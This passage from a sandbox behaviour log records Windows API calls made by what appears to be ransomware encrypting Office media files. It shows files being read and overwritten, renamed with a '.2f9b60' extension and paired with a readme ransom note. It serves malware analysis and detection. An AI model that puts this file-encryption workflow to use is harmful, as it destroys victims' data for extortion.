Seed=0x2e12f6d0) returned 0xb45b3ab [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x40718f4e [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x2faf9e29 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0xa0e7bf9 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x2faa96ed [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x41e49368 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x67219e42 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x4a36bffc [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x4690db23 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x17b2876c [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x1a8f3dad [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x48a09f47 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x1e92533b [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0xbff4fb8 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x35195dbc [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x1ec7bdd4 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x2faf9e29 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x4f1705a0 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x711c7b8e [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x643c5d01 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x3ba60551 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x330eaef0 [0102.979] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x318ae15d [0102.987] ReadFile (in: hFile=0x1674, lpBuffer=0x204a0f30, nNumberOfBytesToRead=0x1594, lpNumberOfBytesRead=0x2e12f6d0, lpOverlapped=0x0 | out: lpBuffer=0x204a0f30*, lpNumberOfBytesRead=0x2e12f6d0*=0x1594, lpOverlapped=0x0) returned 1 [0103.040] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.041] WriteFile (in: hFile=0x1674, lpBuffer=0x204a8750*, nNumberOfBytesToWrite=0x1594, lpNumberOfBytesWritten=0x2e12f6d4, lpOverlapped=0x0 | out: lpBuffer=0x204a8750*, lpNumberOfBytesWritten=0x2e12f6d4*=0x1594, lpOverlapped=0x0) returned 1 [0103.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0103.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0103.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0103.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a8750) returned 1 [0103.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a0f30) returned 1 [0103.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0103.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0103.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263a40 [0103.399] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.399] WriteFile (in: hFile=0x1674, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e12f7f0, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x2e12f7f0*=0x106, lpOverlapped=0x0) returned 1 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0103.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0103.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602f0) returned 1 [0103.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f270 [0103.805] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="72") returned 2 [0103.805] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="21") returned 2 [0103.805] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="9c") returned 2 [0103.805] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="68") returned 2 [0103.805] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="1a") returned 2 [0103.805] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="e6") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="6b") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="d8") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="71") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="1b") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="e9") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="a7") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="49") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="a2") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="2c") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="c6") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="a9") returned 2 [0103.806] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="a4") returned 2 [0103.806] RtlInitAnsiString (in: DestinationString=0x2e12f868, SourceString="72219c681ae66bd8711be9a749a25ce12cc6a9a4" | out: DestinationString="72219c681ae66bd8711be9a749a25ce12cc6a9a4") [0103.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e12f838, SourceString="72219c681ae66bd8711be9a749a25ce12cc6a9a4", AllocateDestinationString=1 | out: DestinationString="72219c681ae66bd8711be9a749a25ce12cc6a9a4") returned 0x0 [0103.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c670 [0103.806] wcscat (in: _Dest=0x2050a0b0, _Source="72219c681a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a" [0103.806] wcscat (in: _Dest=0x2050a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a.2f9b60" [0103.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a.2f9b60", NtPathName=0x2e12f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\72219c681a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050d2c0 [0104.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0104.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061af0) returned 1 [0104.473] NtQueryInformationFile (in: FileHandle=0x1674, IoStatusBlock=0x2e12f878, FileInformation=0x2e12f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e12f878, FileInformation=0x2e12f888) returned 0x0 [0104.473] NtSetInformationFile (FileHandle=0x1674, IoStatusBlock=0x2e12f878, FileInformation=0x2e12f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a0b0) returned 1 [0104.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c670) returned 1 [0104.476] FlushFileBuffers (hFile=0x1674) returned 1 [0104.560] CloseHandle (hObject=0x1674) returned 1 [0104.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050ae30 [0104.571] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.571] wcscat (in: _Dest=0x2050ae30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ae30) returned 1 [0104.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8680c0) returned 1 Thread: id = 903 os_tid = 0x14c4 [0101.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav")) returned 0x20 [0102.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", dwFileAttributes=0x20) returned 1 [0102.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1680 [0102.898] GetFileSizeEx (in: hFile=0x1680, lpFileSize=0x2e23fbc0 | out: lpFileSize=0x2e23fbc0*=7551) returned 1 [0102.898] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x1d7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.899] ReadFile (in: hFile=0x1680, lpBuffer=0x2e23fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e23fb88, lpOverlapped=0x0 | out: lpBuffer=0x2e23fb40*, lpNumberOfBytesRead=0x2e23fb88*=0x4, lpOverlapped=0x0) returned 1 [0102.926] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0102.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0102.927] NtQuerySystemTime (in: CurrentTime=0x2e23fa80 | out: CurrentTime=0x2e23fa80*=132462177084274000) returned 0x0 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x25a6e0db [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x5381c4a8 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x4d485db3 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x7057b946 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0xfb96357 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0xa879a83 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x6574094c [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x44376884 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x6b89593f [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x21eda996 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x4dc0c04f [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x4f3dcc6e [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x5a443058 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x74f55242 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x21710322 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x1467fdb4 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x7a745750 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x11c050d2 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x74d321a6 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x7910be6b [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x67b47fa3 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x1bb795ef [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x4472a541 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x203de33f [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x27349987 [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x711c7b8e [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x1ef407ca [0102.927] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x4e53a009 [0102.928] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0xdfd9b6 [0102.928] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x3fa2df11 [0102.928] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x404b59b3 [0102.928] RtlRandomEx (in: Seed=0x2e23fa70 | out: Seed=0x2e23fa70) returned 0x65a08e83 [0102.938] ReadFile (in: hFile=0x1680, lpBuffer=0x41f5b4e0, nNumberOfBytesToRead=0x1d7f, lpNumberOfBytesRead=0x2e23fa70, lpOverlapped=0x0 | out: lpBuffer=0x41f5b4e0*, lpNumberOfBytesRead=0x2e23fa70*=0x1d7f, lpOverlapped=0x0) returned 1 [0102.974] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.974] WriteFile (in: hFile=0x1680, lpBuffer=0x41f5f0f0*, nNumberOfBytesToWrite=0x1d7f, lpNumberOfBytesWritten=0x2e23fa74, lpOverlapped=0x0 | out: lpBuffer=0x41f5f0f0*, lpNumberOfBytesWritten=0x2e23fa74*=0x1d7f, lpOverlapped=0x0) returned 1 [0103.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0103.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0103.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ad0) returned 1 [0103.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5f0f0) returned 1 [0103.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5b4e0) returned 1 [0103.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0103.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263ad0 [0103.380] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.380] WriteFile (in: hFile=0x1680, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e23fb90, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2e23fb90*=0x108, lpOverlapped=0x0) returned 1 [0103.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0103.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0103.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0103.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0103.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0103.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0103.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0103.797] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="e3") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="cb") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="8f") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="f3") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="db") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="d3") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="fc") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="db") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="81") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="d0") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="58") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="6b") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="b8") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="f7") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="d3") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="8b") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="7d") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="8f") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="20") returned 2 [0103.797] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="ba") returned 2 [0103.798] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="37") returned 2 [0103.798] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="4c") returned 2 [0103.798] RtlInitAnsiString (in: DestinationString=0x2e23fc08, SourceString="e3cb8ff3dbd3fcdb81d0586bb8f7d38b7d8f20ba374c" | out: DestinationString="e3cb8ff3dbd3fcdb81d0586bb8f7d38b7d8f20ba374c") [0103.798] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e23fbd8, SourceString="e3cb8ff3dbd3fcdb81d0586bb8f7d38b7d8f20ba374c", AllocateDestinationString=1 | out: DestinationString="e3cb8ff3dbd3fcdb81d0586bb8f7d38b7d8f20ba374c") returned 0x0 [0103.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5be0 [0103.798] wcscat (in: _Dest=0x2050a020, _Source="e3cb8ff3dbd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd" [0103.798] wcscat (in: _Dest=0x2050a020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd.2f9b60" [0103.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd.2f9b60", NtPathName=0x2e23fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e3cb8ff3dbd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad810 [0104.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad810) returned 1 [0104.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0104.555] NtQueryInformationFile (in: FileHandle=0x1680, IoStatusBlock=0x2e23fc18, FileInformation=0x2e23fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e23fc18, FileInformation=0x2e23fc28) returned 0x0 [0104.555] NtSetInformationFile (FileHandle=0x1680, IoStatusBlock=0x2e23fc18, FileInformation=0x2e23fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a020) returned 1 [0104.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0104.580] FlushFileBuffers (hFile=0x1680) returned 1 [0104.584] CloseHandle (hObject=0x1680) returned 1 [0104.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5100 [0104.592] wcscpy (in: _Dest=0x202a5100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.592] wcscat (in: _Dest=0x202a5100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5100) returned 1 [0104.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 Thread: id = 904 os_tid = 0x14c8 [0101.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav")) returned 0x20 [0102.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", dwFileAttributes=0x20) returned 1 [0102.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1670 [0102.839] GetFileSizeEx (in: hFile=0x1670, lpFileSize=0x2df7f720 | out: lpFileSize=0x2df7f720*=37310) returned 1 [0102.839] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x91ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.839] ReadFile (in: hFile=0x1670, lpBuffer=0x2df7f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2df7f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2df7f6a0*, lpNumberOfBytesRead=0x2df7f6e8*=0x4, lpOverlapped=0x0) returned 1 [0102.857] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0102.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0102.857] NtQuerySystemTime (in: CurrentTime=0x2df7f5e0 | out: CurrentTime=0x2df7f5e0*=132462177083650000) returned 0x0 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6ad537c7 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x1514b4d3 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6b33b96d [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x317fadc6 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x5436fe6 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) 